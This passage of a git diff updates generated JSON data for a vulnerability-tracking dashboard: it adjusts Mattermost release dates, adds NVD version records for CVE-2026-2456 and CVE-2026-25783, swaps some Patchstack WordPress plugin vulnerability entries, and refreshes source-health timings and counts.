"released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48309,7 +48341,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "10.11.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48463,7 +48495,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "10.11.10", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48477,7 +48509,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "10.11.11", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48505,7 +48537,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "10.11.12", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48813,7 +48845,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.2.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48855,7 +48887,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.2.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48869,7 +48901,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.2.3", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48883,7 +48915,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.2.4", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48911,7 +48943,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.3.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48939,7 +48971,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.3.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48953,7 +48985,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.3.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -48995,7 +49027,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.4.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -49009,7 +49041,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.4.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -49023,7 +49055,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.4.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -49079,7 +49111,7 @@ "entity_id": "mattermost--project--issue-platform", "root_system_id": "mattermost", "version": "11.5.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -58865,7 +58897,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "10.11.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59019,7 +59051,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "10.11.10", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59443,7 +59475,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.2.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59485,7 +59517,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.2.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59593,7 +59625,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.3.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59621,7 +59653,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.3.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59733,7 +59765,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.4.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59747,7 +59779,7 @@ "entity_id": "mattermost--project--mattermost-server", "root_system_id": "mattermost", "version": "11.4.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -59974,12 +60006,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -60129,6 +60163,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6", + "released_at": "2026-03-16T15:30:43Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "affected", + "advisory_refs": [ + "mattermost--CVE-2026-2456" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129133647-5d787969c2d5", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -60161,6 +60211,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef", + "released_at": "2026-03-16T15:30:42Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "affected", + "advisory_refs": [ + "mattermost--CVE-2026-25783" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260130144323-5bb5261c72fa", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -60335,6 +60401,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6", + "released_at": "2026-03-16T15:30:43Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "affected", + "advisory_refs": [ + "mattermost--CVE-2026-2456" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129133647-5d787969c2d5", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -60367,6 +60449,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef", + "released_at": "2026-03-16T15:30:42Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "affected", + "advisory_refs": [ + "mattermost--CVE-2026-25783" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260130144323-5bb5261c72fa", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -63789,6 +63887,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "5.3.2-0.20260127165411-fe3052073dc6", + "released_at": "2026-03-26T21:11:03.241919Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "fixed", + "advisory_refs": [ + "mattermost--CVE-2026-2456" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129133647-5d787969c2d5", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -63821,6 +63935,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "5.3.2-0.20260129181235-1346cf529aef", + "released_at": "2026-03-26T21:11:24.090883Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "fixed", + "advisory_refs": [ + "mattermost--CVE-2026-25783" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260130144323-5bb5261c72fa", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -67635,6 +67765,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "8.0.0-20260127165411-fe3052073dc6", + "released_at": "2026-03-26T21:11:03.241919Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "fixed", + "advisory_refs": [ + "mattermost--CVE-2026-2456" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129133647-5d787969c2d5", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -67667,6 +67813,22 @@ ], "is_latest_snapshot": false }, + { + "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "root_system_id": "mattermost", + "version": "8.0.0-20260129181235-1346cf529aef", + "released_at": "2026-03-26T21:11:24.090883Z", + "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "fixed", + "advisory_refs": [ + "mattermost--CVE-2026-25783" + ], + "is_latest_snapshot": false + }, { "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260130144323-5bb5261c72fa", "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", @@ -70488,7 +70650,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "10.11.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -70527,12 +70689,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -70554,12 +70718,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -70696,7 +70862,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "10.11.10", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -70721,12 +70887,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -70748,12 +70916,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -70778,7 +70948,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "10.11.12", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71086,7 +71256,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.2.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71125,12 +71295,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71155,7 +71327,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.2.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71180,12 +71352,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71207,12 +71381,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71223,7 +71399,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.2.4", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71251,7 +71427,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.3.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71290,12 +71466,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71317,12 +71495,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71344,12 +71524,14 @@ "mattermost--CVE-2026-22545", "mattermost--CVE-2026-24458", "mattermost--CVE-2026-2455", + "mattermost--CVE-2026-2456", "mattermost--CVE-2026-2457", "mattermost--CVE-2026-2458", "mattermost--CVE-2026-2463", "mattermost--CVE-2026-24692", "mattermost--CVE-2026-2578", "mattermost--CVE-2026-25780", + "mattermost--CVE-2026-25783", "mattermost--CVE-2026-26246", "mattermost--CVE-2026-4265" ], @@ -71360,7 +71542,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.3.2", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71402,7 +71584,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.4.x", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71416,7 +71598,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.4.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71430,7 +71612,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.4.1", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -71486,7 +71668,7 @@ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "root_system_id": "mattermost", "version": "11.5.0", - "released_at": "2026-02-23", + "released_at": "2026-02-24", "release_url": "https://securityupdates.mattermost.com/security_updates.json", "source_name": "Mattermost Security Updates JSON", "source_confidence": "official", @@ -90852,34 +91034,6 @@ "advisory_refs": [], "is_latest_snapshot": false }, - { - "version_id": "wordpress--1-1-1-reflected-cross-site-scripting-vulnerability", - "entity_id": "wordpress", - "root_system_id": "wordpress", - "version": "1-1-1-reflected-cross-site-scripting-vulnerability", - "released_at": null, - "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability", - "source_name": "Patchstack Database", - "source_confidence": "ecosystem-authority", - "security_relevant": true, - "reason": "security-release", - "advisory_refs": [], - "is_latest_snapshot": false - }, - { - "version_id": "wordpress--1-1-1", - "entity_id": "wordpress", - "root_system_id": "wordpress", - "version": "1.1.1", - "released_at": null, - "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability", - "source_name": "Patchstack Database", - "source_confidence": "ecosystem-authority", - "security_relevant": true, - "reason": "security-release", - "advisory_refs": [], - "is_latest_snapshot": false - }, { "version_id": "wordpress--2-2-0-reflected-cross-site-scripting-via-page-vulnerability", "entity_id": "wordpress", @@ -91034,6 +91188,34 @@ "advisory_refs": [], "is_latest_snapshot": false }, + { + "version_id": "wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability", + "entity_id": "wordpress", + "root_system_id": "wordpress", + "version": "3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability", + "released_at": null, + "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability", + "source_name": "Patchstack Database", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "security-release", + "advisory_refs": [], + "is_latest_snapshot": false + }, + { + "version_id": "wordpress--3-5-1-33", + "entity_id": "wordpress", + "root_system_id": "wordpress", + "version": "3.5.1.33", + "released_at": null, + "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability", + "source_name": "Patchstack Database", + "source_confidence": "ecosystem-authority", + "security_relevant": true, + "reason": "security-release", + "advisory_refs": [], + "is_latest_snapshot": false + }, { "version_id": "wordpress--3-5-6-2-unauthenticated-arbitrary-file-read-via-media-field-vulnerability", "entity_id": "wordpress", diff --git a/08-threat-intel/generated/dashboard/data/source-catalog-audit.json b/08-threat-intel/generated/dashboard/data/source-catalog-audit.json index 55ac5293..fe721fad 100644 --- a/08-threat-intel/generated/dashboard/data/source-catalog-audit.json +++ b/08-threat-intel/generated/dashboard/data/source-catalog-audit.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-26T09:21:28+00:00", + "generated_at": "2026-03-27T09:23:48+00:00", "system_count": 62, "source_count": 179, "active_source_count": 102, diff --git a/08-threat-intel/generated/dashboard/data/source-health.json b/08-threat-intel/generated/dashboard/data/source-health.json index 68c02ffd..f71dae56 100644 --- a/08-threat-intel/generated/dashboard/data/source-health.json +++ b/08-threat-intel/generated/dashboard/data/source-health.json @@ -1,17 +1,17 @@ { - "generated_at": "2026-03-26T10:20:18+00:00", + "generated_at": "2026-03-27T09:30:44+00:00", "active_source_count": 102, "green_source_count": 102, "failure_count": 0, "all_green": true, - "last_fully_green_run": "2026-03-26T10:20:18+00:00", + "last_fully_green_run": "2026-03-27T09:30:44+00:00", "retries_performed": 0, "probes": [ { "system_id": "adminer", "source_name": "OSV Adminer", "source_kind": "osv-batch", - "elapsed_seconds": 35.138, + "elapsed_seconds": 4.288, "kind": "osv-batch", "items_seen": 1 }, @@ -19,7 +19,7 @@ "system_id": "adobe-commerce", "source_name": "Adobe Magento Security Index", "source_kind": "vendor-index", - "elapsed_seconds": 1.973, + "elapsed_seconds": 6.387, "kind": "vendor-index", "items_seen": 46 }, @@ -27,7 +27,7 @@ "system_id": "angular", "source_name": "OSV Angular", "source_kind": "osv-batch", - "elapsed_seconds": 2.67, + "elapsed_seconds": 2.576, "kind": "osv-batch", "items_seen": 1 }, @@ -35,7 +35,7 @@ "system_id": "apache-httpd", "source_name": "Apache HTTPD Security", "source_kind": "html-links", - "elapsed_seconds": 34.836, + "elapsed_seconds": 3.254, "kind": "html-links", "items_seen": 182 }, @@ -43,15 +43,15 @@ "system_id": "apache-httpd", "source_name": "CISA KEV Apache HTTPD", "source_kind": "kev-json", - "elapsed_seconds": 3.387, + "elapsed_seconds": 3.463, "kind": "kev-json", - "items_seen": 1552 + "items_seen": 1553 }, { "system_id": "apache-tomcat", "source_name": "Apache Tomcat Security", "source_kind": "html-links", - "elapsed_seconds": 35.095, + "elapsed_seconds": 3.341, "kind": "html-links", "items_seen": 270 }, @@ -59,15 +59,15 @@ "system_id": "apache-tomcat", "source_name": "CISA KEV Tomcat", "source_kind": "kev-json", - "elapsed_seconds": 3.466, + "elapsed_seconds": 3.463, "kind": "kev-json", - "items_seen": 1552 + "items_seen": 1553 }, { "system_id": "aspnet-core", "source_name": "OSV ASP.NET Core", "source_kind": "osv-batch", - "elapsed_seconds": 35.025, + "elapsed_seconds": 3.827, "kind": "osv-batch", "items_seen": 1 }, @@ -75,7 +75,7 @@ "system_id": "astro", "source_name": "OSV Astro", "source_kind": "osv-batch", - "elapsed_seconds": 2.696, + "elapsed_seconds": 2.65, "kind": "osv-batch", "items_seen": 1 }, @@ -83,7 +83,7 @@ "system_id": "caddy", "source_name": "OSV Caddy", "source_kind": "osv-batch", - "elapsed_seconds": 35.139, + "elapsed_seconds": 4.154, "kind": "osv-batch", "items_seen": 1 }, @@ -91,7 +91,7 @@ "system_id": "directus", "source_name": "Directus GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.195, + "elapsed_seconds": 1.349, "kind": "html-links", "items_seen": 127 }, @@ -99,7 +99,7 @@ "system_id": "directus", "source_name": "OSV Directus", "source_kind": "osv-batch", - "elapsed_seconds": 0.769, + "elapsed_seconds": 0.987, "kind": "osv-batch", "items_seen": 1 }, @@ -107,7 +107,7 @@ "system_id": "discourse", "source_name": "Discourse Release Notes RSS", "source_kind": "rss-feed", - "elapsed_seconds": 1.538, + "elapsed_seconds": 2.398, "kind": "rss-feed", "items_seen": 30 }, @@ -115,7 +115,7 @@ "system_id": "discourse", "source_name": "Discourse Security RSS", "source_kind": "rss-feed", - "elapsed_seconds": 0.926, + "elapsed_seconds": 1.097, "kind": "rss-feed", "items_seen": 3 }, @@ -123,7 +123,7 @@ "system_id": "discourse", "source_name": "OSV Discourse", "source_kind": "osv-batch", - "elapsed_seconds": 0.954, + "elapsed_seconds": 0.98, "kind": "osv-batch", "items_seen": 1 }, @@ -131,7 +131,7 @@ "system_id": "django", "source_name": "Django Security Releases Archive", "source_kind": "vendor-index", - "elapsed_seconds": 3.746, + "elapsed_seconds": 2.987, "kind": "vendor-index", "items_seen": 1276 }, @@ -139,7 +139,7 @@ "system_id": "django", 